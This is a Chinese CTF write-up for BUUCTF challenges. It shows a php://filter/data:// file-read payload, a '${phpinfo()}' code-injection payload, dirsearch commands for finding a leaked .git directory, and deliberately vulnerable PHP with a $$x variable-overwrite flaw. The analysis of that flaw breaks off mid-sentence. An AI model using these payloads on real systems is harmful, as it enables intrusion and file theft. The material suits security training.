BUUCTF训练打卡

BJDCTF2020]ZJCTF,不过如此

首先

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php

或者

https://www.cnblogs.com/wangtanzhi/p/12328083.html

https://xz.aliyun.com/t/2557

payload:/S*=${phpinfo()}

 

 

[BJDCTF2020]Mark loves cat

检测出/.git/HEAD 说明有git源码泄露

 

目录扫描,发现git文件,说明存在git泄露。

python2 dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
python2 dirsearch.py -u http://48a7b7e3-7fda-48d6-933c-53da0450ca75.node3.buuoj.cn/ -e * -s 1

不加-s 1延迟的话,会git文件也是429 (too many requests)

用GitHack下载git源码(没成功弄,还没搞到好的工具)

flag.php

<?php $flag = file_get_contents('/flag');

index.php

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){         
    $$x = $y;		
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
//  如果GET传了参数flag 且 传参flag值并不等于flag
    if($_GET['flag'] === $x && $x !== 'flag'){  //  $x=flag      
        exit($handsome);
    }
}
// 如果GET没有传参flag 且 POST没有传参flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
// 如果POST传参flag的值为flag 或 GET传参flag值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

两种思路:

①前面的if都不进入,从而可以不被exit(),让函数执行到最后一行,输出$flag,但是前提是$flag值不能被修改

②在前面就进入if语句,利用exit()输出变量,利用变量覆盖漏洞,把前面可以输出的变量,比如exit($yds)输出$yds,想办法把$yds=$flag这样子覆盖赋值,输出flag

第一种思路:

为了不进入if,要避开所有的如果:针对三种情况,用非的思路

1、如果get传了flag,flag值要为flag

2、get和post中起码要post有一个传了flag

3、post和get传flag的话,值都不能为flag

可以发现,3种情况自相矛盾,所以不存在完美绕过

第一思路不可行

第二种思路:

进入if

1、传flag=非flag的内容

-->会修改flag的内容,不可行

2、GET没有传参flag 且 POST没有传参flag

-->可行 输出的是exit($yds) 想办法使$yds

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值